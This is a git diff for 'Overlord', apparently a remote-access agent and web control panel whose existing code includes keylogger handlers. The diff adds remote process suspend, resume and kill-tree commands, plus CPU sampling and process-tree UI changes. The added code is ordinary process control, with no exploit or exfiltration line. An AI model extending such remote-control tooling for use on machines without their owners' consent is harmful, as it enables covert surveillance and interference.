diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index fea9727..c3a016e 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -2141,6 +2141,62 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in pid = int32(p) } return HandleProcessKill(ctx, env, cmdID, pid) + case "process_suspend": + payload, _ := envelope["payload"].(map[string]interface{}) + if payload == nil { + if rawPayload, ok := envelope["payload"].(map[interface{}]interface{}); ok { + payload = make(map[string]interface{}, len(rawPayload)) + for k, v := range rawPayload { + ks, ok := k.(string) + if !ok { + continue + } + payload[ks] = v + } + } + } + suspendPid := int32(0) + if p, ok := payload["pid"].(float64); ok { + suspendPid = int32(p) + } + if p, ok := payload["pid"].(uint64); ok { + suspendPid = int32(p) + } + if p, ok := payload["pid"].(int64); ok { + suspendPid = int32(p) + } + if p, ok := payload["pid"].(int); ok { + suspendPid = int32(p) + } + return HandleProcessSuspend(ctx, env, cmdID, suspendPid) + case "process_resume": + payload, _ := envelope["payload"].(map[string]interface{}) + if payload == nil { + if rawPayload, ok := envelope["payload"].(map[interface{}]interface{}); ok { + payload = make(map[string]interface{}, len(rawPayload)) + for k, v := range rawPayload { + ks, ok := k.(string) + if !ok { + continue + } + payload[ks] = v + } + } + } + resumePid := int32(0) + if p, ok := payload["pid"].(float64); ok { + resumePid = int32(p) + } + if p, ok := payload["pid"].(uint64); ok { + resumePid = int32(p) + } + if p, ok := payload["pid"].(int64); ok { + resumePid = int32(p) + } + if p, ok := payload["pid"].(int); ok { + resumePid = int32(p) + } + return HandleProcessResume(ctx, env, cmdID, resumePid) case "keylog_list": return HandleKeylogList(ctx, env, cmdID) case "keylog_retrieve": diff --git a/Overlord-Client/cmd/agent/handlers/processes.go b/Overlord-Client/cmd/agent/handlers/processes.go index 0f283bc..9abb38a 100644 --- a/Overlord-Client/cmd/agent/handlers/processes.go +++ b/Overlord-Client/cmd/agent/handlers/processes.go @@ -51,3 +51,41 @@ func HandleProcessKill(ctx context.Context, env *runtime.Env, cmdID string, pid } return wire.WriteMsg(ctx, env.Conn, result) } + +func HandleProcessSuspend(ctx context.Context, env *runtime.Env, cmdID string, pid int32) error { + log.Printf("process_suspend: %d", pid) + + err := suspendProcess(pid) + ok := err == nil + errMsg := "" + if err != nil { + errMsg = err.Error() + } + + result := wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: ok, + Message: errMsg, + } + return wire.WriteMsg(ctx, env.Conn, result) +} + +func HandleProcessResume(ctx context.Context, env *runtime.Env, cmdID string, pid int32) error { + log.Printf("process_resume: %d", pid) + + err := resumeProcess(pid) + ok := err == nil + errMsg := "" + if err != nil { + errMsg = err.Error() + } + + result := wire.CommandResult{ + Type: "command_result", + CommandID: cmdID, + OK: ok, + Message: errMsg, + } + return wire.WriteMsg(ctx, env.Conn, result) +} diff --git a/Overlord-Client/cmd/agent/handlers/processes_unix.go b/Overlord-Client/cmd/agent/handlers/processes_unix.go index caca6d1..e61ce97 100644 --- a/Overlord-Client/cmd/agent/handlers/processes_unix.go +++ b/Overlord-Client/cmd/agent/handlers/processes_unix.go @@ -90,3 +90,11 @@ func listProcesses() ([]wire.ProcessInfo, error) { func killProcess(pid int32) error { return syscall.Kill(int(pid), syscall.SIGKILL) } + +func suspendProcess(pid int32) error { + return syscall.Kill(int(pid), syscall.SIGSTOP) +} + +func resumeProcess(pid int32) error { + return syscall.Kill(int(pid), syscall.SIGCONT) +} diff --git a/Overlord-Client/cmd/agent/handlers/processes_windows.go b/Overlord-Client/cmd/agent/handlers/processes_windows.go index ba37bf3..1386f55 100644 --- a/Overlord-Client/cmd/agent/handlers/processes_windows.go +++ b/Overlord-Client/cmd/agent/handlers/processes_windows.go @@ -6,8 +6,11 @@ package handlers import ( "fmt" "os" + "runtime" "strings" + "sync" "syscall" + "time" "unsafe" "overlord-client/cmd/agent/wire" @@ -18,10 +21,22 @@ import ( var ( modKernel32 = windows.NewLazySystemDLL("kernel32.dll") modPsapi = windows.NewLazySystemDLL("psapi.dll") + modNtdll = windows.NewLazySystemDLL("ntdll.dll") procEnumProcesses = modPsapi.NewProc("EnumProcesses") procGetProcessMemoryInfo = modPsapi.NewProc("GetProcessMemoryInfo") procOpenProcess = modKernel32.NewProc("OpenProcess") procGetProcessImageFileNameW = modPsapi.NewProc("GetProcessImageFileNameW") + procGetProcessTimes = modKernel32.NewProc("GetProcessTimes") +) + +type cpuSample struct { + cpuTime100ns uint64 + sampledAt time.Time +} + +var ( + cpuSamplesMu sync.Mutex + cpuSamples = make(map[int32]cpuSample) ) type PROCESS_MEMORY_COUNTERS struct { @@ -39,6 +54,10 @@ type PROCESS_MEMORY_COUNTERS struct { func listProcesses() ([]wire.ProcessInfo, error) { selfPID := int32(os.Getpid()) + numCPU := runtime.NumCPU() + if numCPU < 1 { + numCPU = 1 + } var pids [4096]uint32 var bytesReturned uint32 @@ -105,6 +124,36 @@ func listProcesses() ([]wire.ProcessInfo, error) { memory = uint64(memCounters.WorkingSetSize) } + cpu := 0.0 + var creation, exit, kernel, user windows.Filetime + ret, _, _ = procGetProcessTimes.Call( + handle, + uintptr(unsafe.Pointer(&creation)), + uintptr(unsafe.Pointer(&exit)), + uintptr(unsafe.Pointer(&kernel)), + uintptr(unsafe.Pointer(&user)), + ) + if ret != 0 { + cpuTotal := (uint64(kernel.HighDateTime)<<32 | uint64(kernel.LowDateTime)) + + (uint64(user.HighDateTime)<<32 | uint64(user.LowDateTime)) + now := time.Now() + cpuSamplesMu.Lock() + if prev, ok := cpuSamples[pid]; ok { + wallDelta := now.Sub(prev.sampledAt).Seconds() + if wallDelta > 0 && cpuTotal >= prev.cpuTime100ns { + cpuDelta := float64(cpuTotal-prev.cpuTime100ns) / 1e7 + cpu = (cpuDelta / wallDelta) / float64(numCPU) * 100.0 + if cpu < 0 { + cpu = 0 + } else if cpu > 100 { + cpu = 100 + } + } + } + cpuSamples[pid] = cpuSample{cpuTime100ns: cpuTotal, sampledAt: now} + cpuSamplesMu.Unlock() + } + var pbi windows.PROCESS_BASIC_INFORMATION ppid := int32(0) err := windows.NtQueryInformationProcess(windows.Handle(handle), windows.ProcessBasicInformation, unsafe.Pointer(&pbi), uint32(unsafe.Sizeof(pbi)), nil) @@ -155,7 +204,7 @@ func listProcesses() ([]wire.ProcessInfo, error) { PID: pid, PPID: ppid, Name: name, - CPU: 0.0, + CPU: cpu, Memory: memory, Username: username, Type: procType, @@ -163,6 +212,18 @@ func listProcesses() ([]wire.ProcessInfo, error) { }) } + cpuSamplesMu.Lock() + live := make(map[int32]struct{}, len(processes)) + for _, p := range processes { + live[p.PID] = struct{}{} + } + for pid := range cpuSamples { + if _, ok := live[pid]; !ok { + delete(cpuSamples, pid) + } + } + cpuSamplesMu.Unlock() + return processes, nil } @@ -175,3 +236,33 @@ func killProcess(pid int32) error { return windows.TerminateProcess(handle, 1) } + +func suspendProcess(pid int32) error { + procNtSuspendProcess := modNtdll.NewProc("NtSuspendProcess") + handle, err := windows.OpenProcess(windows.PROCESS_SUSPEND_RESUME, false, uint32(pid)) + if err != nil { + return err + } + defer windows.CloseHandle(handle) + + ret, _, _ := procNtSuspendProcess.Call(uintptr(handle)) + if ret != 0 { + return fmt.Errorf("NtSuspendProcess failed with status 0x%x", ret) + } + return nil +} + +func resumeProcess(pid int32) error { + procNtResumeProcess := modNtdll.NewProc("NtResumeProcess") + handle, err := windows.OpenProcess(windows.PROCESS_SUSPEND_RESUME, false, uint32(pid)) + if err != nil { + return err + } + defer windows.CloseHandle(handle) + + ret, _, _ := procNtResumeProcess.Call(uintptr(handle)) + if ret != 0 { + return fmt.Errorf("NtResumeProcess failed with status 0x%x", ret) + } + return nil +} diff --git a/Overlord-Server/public/assets/processes.js b/Overlord-Server/public/assets/processes.js index 115186b..fc188f8 100644 --- a/Overlord-Server/public/assets/processes.js +++ b/Overlord-Server/public/assets/processes.js @@ -8,6 +8,7 @@ let processMap = new Map(); let processTree = []; let collapsedPids = new Set(); let selectedPid = null; +let rowsByPid = new Map(); let sortField = "cpu"; let sortDirection = "desc"; let searchTerm = ""; @@ -155,54 +156,54 @@ function buildProcessTree() { processMap.set(proc.pid, { ...proc, children: [] }); }); + const isShellParent = (proc) => + proc && typeof proc.name === "string" && proc.name.toLowerCase() === "explorer.exe"; + const roots = []; processMap.forEach((proc) => { - if (proc.ppid && processMap.has(proc.ppid)) { - processMap.get(proc.ppid).children.push(proc); + const parent = proc.ppid ? processMap.get(proc.ppid) : null; + if (parent && proc.ppid !== proc.pid && !isShellParent(parent)) { + parent.children.push(proc); } else { roots.push(proc); } }); + function computeAggregates(proc) { + let cpuTotal = proc.cpu || 0; + let memTotal = Number(proc.memory || 0); + for (const child of proc.children) { + const [childCpu, childMem] = computeAggregates(child); + cpuTotal += childCpu; + memTotal += childMem; + } + proc.aggregatedCpu = Math.min(cpuTotal, 100); + proc.aggregatedMemory = memTotal; + return [cpuTotal, memTotal]; + } + roots.forEach(computeAggregates); + + const sortValue = (proc) => { + if (sortField === "cpu") return proc.aggregatedCpu; + if (sortField === "memory") return proc.aggregatedMemory; + if (sortField === "name") return proc.name.toLowerCase(); + return proc[sortField]; + }; + const cmp = (a, b) => { + const aVal = sortValue(a); + const bVal = sortValue(b); + if (sortDirection === "asc") return aVal > bVal ? 1 : -1; + return aVal < bVal ? 1 : -1; + }; + function sortChildren(proc) { if (proc.children.length > 0) { - proc.children.sort((a, b) => { - let aVal = a[sortField]; - let bVal = b[sortField]; - - if (sortField === "name") { - aVal = aVal.toLowerCase(); - bVal = bVal.toLowerCase(); - } - - if (sortDirection === "asc") { - return aVal > bVal ? 1 : -1; - } else { - return aVal < bVal ? 1 : -1; - } - }); - - proc.children.forEach((child) => sortChildren(child)); + proc.children.sort(cmp); + proc.children.forEach(sortChildren); } } - - roots.forEach((proc) => sortChildren(proc)); - - roots.sort((a, b) => { - let aVal = a[sortField]; - let bVal = b[sortField]; - - if (sortField === "name") { - aVal = aVal.toLowerCase(); - bVal = bVal.toLowerCase(); - } - - if (sortDirection === "asc") { - return aVal > bVal ? 1 : -1; - } else { - return aVal < bVal ? 1 : -1; - } - }); + roots.forEach(sortChildren); + roots.sort(cmp); processTree = roots; } @@ -236,45 +237,79 @@ function renderProcesses() { if (filtered.length === 0) { processListEl.innerHTML = '
No processes found
'; + rowsByPid.clear(); return; } - processListEl.innerHTML = ""; - filtered.forEach((proc) => { - const row = createProcessRow(proc, proc.depth); - processListEl.appendChild(row); + for (const child of [...processListEl.children]) { + if (!child.classList.contains("process-row")) child.remove(); + } + + const seen = new Set(); + filtered.forEach((proc, index) => { + seen.add(proc.pid); + let row = rowsByPid.get(proc.pid); + if (!row) { + row = createProcessRow(proc, proc.depth); + rowsByPid.set(proc.pid, row); + } else { + updateProcessRow(row, proc, proc.depth); + } + if (processListEl.children[index] !== row) { + processListEl.insertBefore(row, processListEl.children[index] || null); + } }); + + for (const [pid, row] of rowsByPid) { + if (!seen.has(pid)) { + row.remove(); + rowsByPid.delete(pid); + } + } } -function createProcessRow(proc, depth = 0) { - const row = document.createElement("div"); - row.className = +function rowClassName(proc) { + let cls = "process-row grid grid-cols-12 gap-3 px-4 py-3 border border-transparent cursor-pointer transition-colors"; - row.dataset.pid = proc.pid; - - if (selectedPid === proc.pid) { - row.classList.add("selected"); - } - if (proc.self) { - row.classList.add("self-process"); - } + if (selectedPid === proc.pid) cls += " selected"; + if (proc.self) cls += " self-process"; + return cls; +} +function rowInnerHtml(proc, depth) { + const displayCpu = proc.aggregatedCpu ?? proc.cpu; + const displayMemory = proc.aggregatedMemory ?? Number(proc.memory || 0); const cpuColor = - proc.cpu > 50 + displayCpu > 50 ? "text-red-400" - : proc.cpu > 20 - ? "text-yellow-400" - : "text-slate-400"; - const memoryStr = formatBytes(proc.memory); + : displayCpu > 25 + ? "text-orange-400" + : displayCpu > 10 + ? "text-yellow-400" + : displayCpu > 1 + ? "text-slate-200" + : "text-slate-500"; + const MB = 1024 * 1024; + const memColor = + displayMemory > 2048 * MB + ? "text-red-400" + : displayMemory > 1024 * MB + ? "text-orange-400" + : displayMemory > 256 * MB + ? "text-yellow-400" + : displayMemory > 32 * MB + ? "text-slate-200" + : "text-slate-500"; + const memoryStr = formatBytes(displayMemory); const hasChildren = proc.children && proc.children.length > 0; const isCollapsed = collapsedPids.has(proc.pid); - const indent = " ".repeat(depth); + const indent = ''.repeat(depth); - let treeIcon = ""; + let treeIcon; if (hasChildren) { - treeIcon = `${isCollapsed ? "▶" : "▼"}`; - } else if (depth > 0) { + treeIcon = ``; + } else { treeIcon = ''; } @@ -301,28 +336,45 @@ function createProcessRow(proc, depth = 0) { ? ' agent' : ""; - row.innerHTML = ` + return `
${proc.pid}
${indent}${treeIcon} ${escapeHtml(proc.name)}${selfBadge}
-
${proc.cpu.toFixed(1)}%
-
${memoryStr}
+
${displayCpu.toFixed(1)}%
+
${memoryStr}
${escapeHtml(proc.username || "-")}
`; +} + +function updateProcessRow(row, proc, depth) { + const nextClass = rowClassName(proc); + if (row.className !== nextClass) row.className = nextClass; + row.innerHTML = rowInnerHtml(proc, depth); +} + +function createProcessRow(proc, depth = 0) { + const row = document.createElement("div"); + row.dataset.pid = proc.pid; + row.className = rowClassName(proc); + row.innerHTML = rowInnerHtml(proc, depth); row.onclick = (e) => { - if (e.target.classList.contains("tree-icon")) { - toggleCollapse(proc.pid); + const pid = Number(row.dataset.pid); + if (e.target.closest(".tree-icon")) { + toggleCollapse(pid); return; } - selectProcess(proc.pid); + selectProcess(pid); }; - row.ondblclick = () => { - selectProcess(proc.pid); - killProcess(); + row.oncontextmenu = (e) => { + e.preventDefault(); + e.stopPropagation(); + const pid = Number(row.dataset.pid); + selectProcess(pid); + showContextMenu(e.clientX, e.clientY, pid); }; return row; @@ -420,6 +472,130 @@ function escapeHtml(text) { return div.innerHTML; } +// Context menu +let contextMenuEl = null; + +function createContextMenu() { + const menu = document.createElement("div"); + menu.id = "process-context-menu"; + menu.className = "fixed z-50 hidden min-w-[180px] bg-slate-800 border border-slate-700 rounded-lg shadow-xl shadow-black/40 py-1 text-sm"; + menu.innerHTML = ` + + +
+ + +
+ + +
+ + `; + document.body.appendChild(menu); + return menu; +} + +function showContextMenu(x, y, pid) { + if (!contextMenuEl) contextMenuEl = createContextMenu(); + contextMenuEl.dataset.pid = pid; + contextMenuEl.classList.remove("hidden"); + + const rect = contextMenuEl.getBoundingClientRect(); + const menuW = rect.width || 180; + const menuH = rect.height || 300; + const posX = x + menuW > window.innerWidth ? window.innerWidth - menuW - 8 : x; + const posY = y + menuH > window.innerHeight ? window.innerHeight - menuH - 8 : y; + + contextMenuEl.style.left = posX + "px"; + contextMenuEl.style.top = posY + "px"; +} + +function hideContextMenu() { + if (contextMenuEl) contextMenuEl.classList.add("hidden"); +} + +document.addEventListener("click", hideContextMenu); +document.addEventListener("contextmenu", (e) => { + if (!e.target.closest(".process-row") && !e.target.closest("#process-context-menu")) { + hideContextMenu(); + } +}); + +document.addEventListener("click", (e) => { + const item = e.target.closest(".ctx-item"); + if (!item || !contextMenuEl) return; + const action = item.dataset.action; + const pid = Number(contextMenuEl.dataset.pid); + const proc = processes.find((p) => p.pid === pid); + hideContextMenu(); + + switch (action) { + case "suspend": + if (!proc) break; + if (!confirm(`Suspend process "${proc.name}" (PID: ${pid})?`)) break; + send({ type: "process_suspend", pid }); + updateStatus("connected", "Suspending process..."); + break; + case "resume": + if (!proc) break; + send({ type: "process_resume", pid }); + updateStatus("connected", "Resuming process..."); + break; + case "kill": + if (!proc) break; + if (!confirm(`Kill process "${proc.name}" (PID: ${pid})?`)) break; + send({ type: "process_kill", pid }); + updateStatus("connected", "Killing process..."); + break; + case "kill-tree": + if (!proc) break; + if (!confirm(`Kill process "${proc.name}" (PID: ${pid}) and all child processes?`)) break; + killProcessTree(pid); + break; + case "copy-pid": + navigator.clipboard.writeText(String(pid)); + break; + case "copy-name": + if (proc) navigator.clipboard.writeText(proc.name); + break; + case "refresh": + requestProcessList(); + break; + } +}); + +function killProcessTree(pid) { + const toKill = []; + function collectChildren(parentPid) { + for (const proc of processes) { + if (proc.ppid === parentPid && proc.pid !== parentPid) { + collectChildren(proc.pid); + toKill.push(proc.pid); + } + } + } + collectChildren(pid); + toKill.push(pid); + for (const p of toKill) { + send({ type: "process_kill", pid: p }); + } + updateStatus("connected", `Killing ${toKill.length} processes...`); +} + refreshBtn.onclick = () => requestProcessList(); killBtn.onclick = () => killProcess(); diff --git a/Overlord-Server/public/processes.html b/Overlord-Server/public/processes.html index e264193..1b3e5a6 100644 --- a/Overlord-Server/public/processes.html +++ b/Overlord-Server/public/processes.html @@ -50,20 +50,50 @@ #process-list::-webkit-scrollbar-thumb:hover { background: #64748b; } + .tree-indent-guide { + display: inline-block; + position: relative; + width: 16px; + align-self: stretch; + flex-shrink: 0; + } + .tree-indent-guide::before { + content: ""; + position: absolute; + left: 7px; + top: 0; + bottom: 0; + width: 1px; + background: rgba(100, 116, 139, 0.25); + } .tree-indent { display: inline-block; - width: 20px; + width: 16px; + flex-shrink: 0; } .tree-icon { - display: inline-block; + display: inline-flex; + align-items: center; + justify-content: center; width: 16px; - text-align: center; + height: 16px; margin-right: 4px; + color: #64748b; cursor: pointer; user-select: none; + border-radius: 3px; + transition: + color 120ms ease, + background-color 120ms ease, + transform 150ms ease; + flex-shrink: 0; } .tree-icon:hover { - color: #60a5fa; + color: #93c5fd; + background-color: rgba(96, 165, 250, 0.12); + } + .tree-icon.collapsed { + transform: rotate(-90deg); } .process-row.collapsed > .children { display: none; diff --git a/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts b/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts index c3c7395..78f5f4b 100644 --- a/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts +++ b/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts @@ -360,6 +360,26 @@ export function handleProcessViewerMessage(ws: ServerWebSocket, raw: metrics.recordCommand("process_kill"); break; } + case "process_suspend": { + const pid = Number(payload.pid); + if (!Number.isFinite(pid) || pid <= 0) { + safeSendViewer(ws, { type: "command_result", commandId, ok: false, message: "Invalid PID" }); + break; + } + target.ws.send(encodeMessage({ type: "command", commandType: "process_suspend", id: commandId, payload: { pid } } as any)); + metrics.recordCommand("process_suspend"); + break; + } + case "process_resume": { + const pid = Number(payload.pid); + if (!Number.isFinite(pid) || pid <= 0) { + safeSendViewer(ws, { type: "command_result", commandId, ok: false, message: "Invalid PID" }); + break; + } + target.ws.send(encodeMessage({ type: "command", commandType: "process_resume", id: commandId, payload: { pid } } as any)); + metrics.recordCommand("process_resume"); + break; + } default: break; }